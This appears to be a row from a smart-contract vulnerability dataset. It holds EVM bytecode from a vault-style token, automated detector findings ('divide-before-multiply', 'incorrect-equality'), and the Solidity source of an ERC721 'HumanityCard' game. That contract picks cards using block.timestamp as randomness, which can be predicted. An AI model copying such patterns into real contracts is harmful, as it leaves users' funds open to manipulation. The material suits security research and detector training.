ffffffffffffffffffffffffffff1661379f9092919063ffffffff16565b5050505050565b6000600660009054906101000a900460ff16905090565b60006115446114a8612d9f565b8461153f85600260006114b9612d9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461369a90919063ffffffff16565b612da7565b6001905092915050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461170a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f2174696d656c6f636b000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600f548160006003811061171a57fe5b602002015110801561173e5750600f548160016003811061173757fe5b6020020151105b801561175c5750600f548160026003811061175557fe5b6020020151105b6117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5468652066656520697320746f6f20686967680000000000000000000000000081525060200191505060405180910390fd5b806000600381106117db57fe5b6020020151600c81905550806001600381106117f357fe5b6020020151600d819055508060026003811061180b57fe5b6020020151600e8190555050565b600061191d61271061190f600854600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118c657600080fd5b505afa1580156118da573d6000803e3d6000fd5b505050506040513d60208110156118f057600080fd5b81019080805190602001909291905050506133c890919063ffffffff16565b61344e90919063ffffffff16565b905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b61271081565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080611ac5610d44565b1415611ad45760009050611b12565b611b0f611adf610d44565b611b01670de0b6b3a7640000611af36121f5565b6133c890919063ffffffff16565b61344e90919063ffffffff16565b90505b90565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bd8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611c44611c3f33611a72565b610e27565b565b600e5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f2174696d656c6f636b000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f2174696d656c6f636b000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f2174696d656c6f636b000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ff95780601f10611fce57610100808354040283529160200191611ff9565b820191906000526020600020905b815481529060010190602001808311611fdc57829003601f168201915b5050505050905090565b60006120c6612010612d9f565b846120c18560405180606001604052806025815260200161406a602591396002600061203a612d9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b612da7565b6001905092915050565b60006120e46120dd612d9f565b8484612f9e565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006123de601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122bb57600080fd5b505afa1580156122cf573d6000803e3d6000fd5b505050506040513d60208110156122e557600080fd5b8101908080519060200190929190505050600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561239557600080fd5b505afa1580156123a9573d6000803e3d6000fd5b505050506040513d60208110156123bf57600080fd5b810190808051906020019092919050505061369a90919063ffffffff16565b905090565b6000339050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061246b57503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6124dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f536f72727920776520646f206e6f742061636365707420636f6e74726163740081525060200191505060405180910390fd5b60008211612553576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f43616e6e6f74206465706f73697420300000000000000000000000000000000081525060200191505060405180910390fd5b600061255d6121f5565b90506000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561260057600080fd5b505afa158015612614573d6000803e3d6000fd5b505050506040513d602081101561262a57600080fd5b8101908080519060200190929190505050905061268c333086600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613870909392919063ffffffff16565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561272d57600080fd5b505afa158015612741573d6000803e3d6000fd5b505050506040513d602081101561275757600080fd5b8101908080519060200190929190505050905061277d828261365090919063ffffffff16565b94506010548511156127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f3e746f74616c4465706f7369744361700000000000000000000000000000000081525060200191505060405180910390fd5b60008090506000612806610d44565b141561281457859050612843565b61284084612832612823610d44565b896133c890919063ffffffff16565b61344e90919063ffffffff16565b90505b61284d3382613976565b42600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050565b600c5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000612992611819565b9050612a03601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661379f9092919063ffffffff16565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b02bf4b9600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612ace57600080fd5b505af1158015612ae2573d6000803e3d6000fd5b5050505050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b612c78600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612c3857600080fd5b505afa158015612c4c573d6000803e3d6000fd5b505050506040513d6020811015612c6257600080fd5b81019080805190602001909291905050506123e3565b565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060108190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613fee6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f176022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613024576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613fc96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156130aa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ed26023913960400191505060405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054431161315e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f45524332303a2073656e646572206163636f756e74206c6f636b65640000000081525060200191505060405180910390fd5b6131c981604051806060016040528060268152602001613f39602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461369a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906133b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561337a57808201518184015260208101905061335f565b50505050905090810190601f1680156133a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808314156133db5760009050613448565b60008284029050828482816133ec57fe5b0414613443576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613f5f6021913960400191505060405180910390fd5b809150505b92915050565b600061349083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b75565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561351e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613fa86021913960400191505060405180910390fd5b61358981604051806060016040528060228152602001613ef5602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135e08160035461365090919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061369283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613308565b905092915050565b600080828401905083811015613718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544203905062093a8081111561377f57600e5491505061379c565b6201518081111561379557600d5491505061379c565b600c549150505b90565b61386b838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613c3b565b505050565b613970848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050613c3b565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613a19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b613a2e8160035461369a90919063ffffffff16565b600381905550613a85816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461369a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555043600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290613c21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613be6578082015181840152602081019050613bcb565b50505050905090810190601f168015613c135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613c2d57fe5b049050809150509392505050565b613c5a8273ffffffffffffffffffffffffffffffffffffffff16613e86565b613ccc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613d1b5780518252602082019150602081019050602083039250613cf8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613d7d576040519150601f19603f3d011682016040523d82523d6000602084013e613d82565b606091505b509150915081613dfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613e8057808060200190516020811015613e1957600080fd5b8101908080519060200190929190505050613e7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614040602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613ec85750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734465706f73697420616e64207769746864726177206d757374206265203630207365636f6e6473206170617274215361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820362e66cf514d4f92bdfe8be1936f17b12a11622e3904a5d0a113671507066ee564736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,946 |
0xbc9b96e7aa6afea664f9d5fdda168518ee20f2cc
|
pragma solidity ^0.4.2;
contract ERC721 {
function isERC721() public pure returns (bool b);
function implementsERC721() public pure returns (bool b);
function name() public pure returns (string name);
function symbol() public pure returns (string symbol);
function totalSupply() public view returns (uint256 totalSupply);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function tokenOfOwnerByIndex(address _owner, uint256 _index) constant returns (uint tokenId);
function tokenMetadata(uint256 _tokenId) constant returns (string infoUrl);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract HumanityCard is ERC721 {
///////////////////////////////////////////////////////////////
/// Modifiers
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event Mined(address indexed owner, uint16 human);
///////////////////////////////////////////////////////////////
/// Structures
struct Human {
string name;
uint8 max;
uint mined;
}
struct Card {
uint16 human;
address owner;
uint indexUser;
}
struct SellOrder {
address seller;
uint card;
uint price;
}
///////////////////////////////////////////////////////////////
/// Constants
string constant NAME = "HumanityCards";
string constant SYMBOL = "HCX";
///////////////////////////////////////////////////////////////
/// Attributes
address owner;
uint cardPrice;
uint humanNumber;
Human[] humanArray;
uint cardNumber;
uint cardMined;
Card[] cardArray;
mapping (address => uint256) cardCount;
mapping (uint256 => address) approveMap;
SellOrder[] sellOrderList;
// Index of the card for the user
mapping (address => mapping (uint => uint)) indexCard;
///////////////////////////////////////////////////////////////
/// Constructor
function HumanityCard() public {
owner = msg.sender;
cardPrice = 1 finney;
humanNumber = 0;
cardNumber = 0;
cardMined = 0;
}
///////////////////////////////////////////////////////////////
/// Admin functions
function addHuman(string name, uint8 max) public onlyOwner {
Human memory newHuman = Human(name, max, 0);
humanArray.push(newHuman);
humanNumber += 1;
cardNumber += max;
}
// Used only if ether price increase (decrease the price card)
function changeCardPrice(uint newPrice) public onlyOwner {
cardPrice = newPrice;
}
///////////////////////////////////////////////////////////////
/// Implementation ERC721
function isERC721() public pure returns (bool b) {
return true;
}
function implementsERC721() public pure returns (bool b) {
return true;
}
function name() public pure returns (string _name) {
return NAME;
}
function symbol() public pure returns (string _symbol) {
return SYMBOL;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return cardMined;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return cardCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
require(_tokenId < cardMined);
Card c = cardArray[_tokenId];
return c.owner;
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == ownerOf(_tokenId));
require(msg.sender != _to);
approveMap[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_tokenId < cardMined);
require(_from == ownerOf(_tokenId));
require(_from != _to);
require(approveMap[_tokenId] == _to);
cardCount[_from] -= 1;
// Change the indexCard of _from
indexCard[_from][cardArray[_tokenId].indexUser] = indexCard[_from][cardCount[_from]];
cardArray[indexCard[_from][cardCount[_from]]].indexUser = cardArray[_tokenId].indexUser;
// This card is the last one for the new owner
cardArray[_tokenId].indexUser = cardCount[_to];
indexCard[_to][cardCount[_to]] = _tokenId;
cardArray[_tokenId].owner = _to;
cardCount[_to] += 1;
Transfer(_from, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(_tokenId < cardMined);
address oldOwner = ownerOf(_tokenId);
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(approveMap[_tokenId] == msg.sender);
cardCount[oldOwner] -= 1;
// Change the indexCard of _from
indexCard[oldOwner][cardArray[_tokenId].indexUser] = indexCard[oldOwner][cardCount[oldOwner]];
cardArray[indexCard[oldOwner][cardCount[oldOwner]]].indexUser = cardArray[_tokenId].indexUser;
// This card is the last one for the new owner
cardArray[_tokenId].indexUser = cardCount[newOwner];
indexCard[newOwner][cardCount[newOwner]] = _tokenId;
cardArray[_tokenId].owner = newOwner;
cardCount[newOwner] += 1;
Transfer(oldOwner, newOwner, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(_tokenId < cardMined);
address oldOwner = msg.sender;
address newOwner = _to;
require(oldOwner == ownerOf(_tokenId));
require(oldOwner != newOwner);
require(newOwner != address(0));
cardCount[oldOwner] -= 1;
// Change the indexCard of _from
indexCard[oldOwner][cardArray[_tokenId].indexUser] = indexCard[oldOwner][cardCount[oldOwner]];
cardArray[indexCard[oldOwner][cardCount[oldOwner]]].indexUser = cardArray[_tokenId].indexUser;
// This card is the last one for the new owner
cardArray[_tokenId].indexUser = cardCount[newOwner];
indexCard[newOwner][cardCount[newOwner]] = _tokenId;
cardArray[_tokenId].owner = newOwner;
cardCount[newOwner] += 1;
Transfer(oldOwner, newOwner, _tokenId);
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) constant returns (uint tokenId) {
require(_index < cardCount[_owner]);
return indexCard[_owner][_index];
}
// For this case the only metadata is the name of the human
function tokenMetadata(uint256 _tokenId) constant returns (string infoUrl) {
require(_tokenId < cardMined);
uint16 humanId = cardArray[_tokenId].human;
return humanArray[humanId].name;
}
///////////////////////////////////////////////////////////////
/// HumanityCard functions
// Mine a new card
function mineCard() public payable returns(bool success) {
require(msg.value == cardPrice);
require(cardMined < cardNumber);
int remaining = (int)(cardNumber - cardMined);
// Choosing the card
int numero = int(keccak256(block.timestamp))%remaining;
if(numero < 0) {
numero *= -1;
}
uint16 chosenOne = 0;
while (numero >= 0) {
numero -= (int)(humanArray[chosenOne].max-humanArray[chosenOne].mined);
if (numero >= 0) {
chosenOne += 1;
}
}
// Adding the card to the user
address newOwner = msg.sender;
Card memory newCard = Card(chosenOne, newOwner, cardCount[newOwner]);
cardArray.push(newCard);
// This card is the last one
indexCard[newOwner][cardCount[newOwner]] = cardMined;
cardCount[newOwner] += 1;
// Updating cards informations
cardMined += 1;
humanArray[chosenOne].mined += 1;
// Sending the fund to the owner
if(!owner.send(cardPrice)) {
revert();
}
Mined(newOwner, chosenOne);
return true;
}
// Sale functions
function createSellOrder(uint256 _tokenId, uint price) public {
require(_tokenId < cardMined);
require(msg.sender == ownerOf(_tokenId));
SellOrder memory newOrder = SellOrder(msg.sender, _tokenId, price);
sellOrderList.push(newOrder);
cardArray[_tokenId].owner = address(0);
cardCount[msg.sender] -= 1;
// Change the indexCard of sender
indexCard[msg.sender][cardArray[_tokenId].indexUser] = indexCard[msg.sender][cardCount[msg.sender]];
cardArray[indexCard[msg.sender][cardCount[msg.sender]]].indexUser = cardArray[_tokenId].indexUser;
}
function processSellOrder(uint id, uint256 _tokenId) payable public {
require(id < sellOrderList.length);
SellOrder memory order = sellOrderList[id];
require(order.card == _tokenId);
require(msg.value == order.price);
require(msg.sender != order.seller);
// Sending fund to the seller
if(!order.seller.send(msg.value)) {
revert();
}
// Adding card to the buyer
cardArray[_tokenId].owner = msg.sender;
// This card is the last one for the new owner
cardArray[_tokenId].indexUser = cardCount[msg.sender];
indexCard[msg.sender][cardCount[msg.sender]] = _tokenId;
cardCount[msg.sender] += 1;
// Update list
sellOrderList[id] = sellOrderList[sellOrderList.length-1];
delete sellOrderList[sellOrderList.length-1];
sellOrderList.length--;
}
function cancelSellOrder(uint id, uint256 _tokenId) public {
require(id < sellOrderList.length);
SellOrder memory order = sellOrderList[id];
require(order.seller == msg.sender);
require(order.card == _tokenId);
// Give back card to seller
cardArray[_tokenId].owner = msg.sender;
// This card is the last one for the new owner
cardArray[_tokenId].indexUser = cardCount[msg.sender];
indexCard[msg.sender][cardCount[msg.sender]] = _tokenId;
cardCount[msg.sender] += 1;
// Update list
sellOrderList[id] = sellOrderList[sellOrderList.length-1];
delete sellOrderList[sellOrderList.length-1];
sellOrderList.length--;
}
function getSellOrder(uint id) public view returns(address seller, uint card, uint price) {
require(id < sellOrderList.length);
SellOrder memory ret = sellOrderList[id];
return(ret.seller, ret.card, ret.price);
}
function getNbSellOrder() public view returns(uint nb) {
return sellOrderList.length;
}
// Get functions
function getOwner() public view returns(address ret) {
return owner;
}
function getCardPrice() public view returns(uint ret) {
return cardPrice;
}
function getHumanNumber() public view returns(uint ret) {
return humanNumber;
}
function getHumanInfo(uint i) public view returns(string name, uint8 max, uint mined) {
require(i < humanNumber);
Human memory h = humanArray[i];
return (h.name, h.max, h.mined);
}
function getCardNumber() public view returns(uint ret) {
return cardNumber;
}
function getCardInfo(uint256 _tokenId) public view returns(uint16 human, address owner) {
require(_tokenId < cardMined);
Card memory c = cardArray[_tokenId];
return (c.human, c.owner);
}
}
|
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305dc27081461016457806306fdde031461018d578063095ea7b31461021b5780631051db341461025d5780631390b2471461028a57806318160ddd146102b35780631dd7cf6d146102dc5780631df681021461038c57806323b872dd146103b85780632f745c591461041957806330efac4e1461046f578063390ce0d3146104925780636352211e146105035780636914db601461056657806370a0823114610602578063893d20e81461064f57806395d89b41146106a4578063970129be14610732578063a70beb13146107a4578063a9059cbb146107c5578063b2e6ceeb14610807578063d2afa8c11461082a578063d79d63be14610857578063d8c3527314610880578063e242fbbb146108a9578063e51dfd9014610912578063ed1ece041461093e575b600080fd5b341561016f57600080fd5b610177610960565b6040518082815260200191505060405180910390f35b341561019857600080fd5b6101a061096a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e05780820151818401526020810190506101c5565b50505050905090810190601f16801561020d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b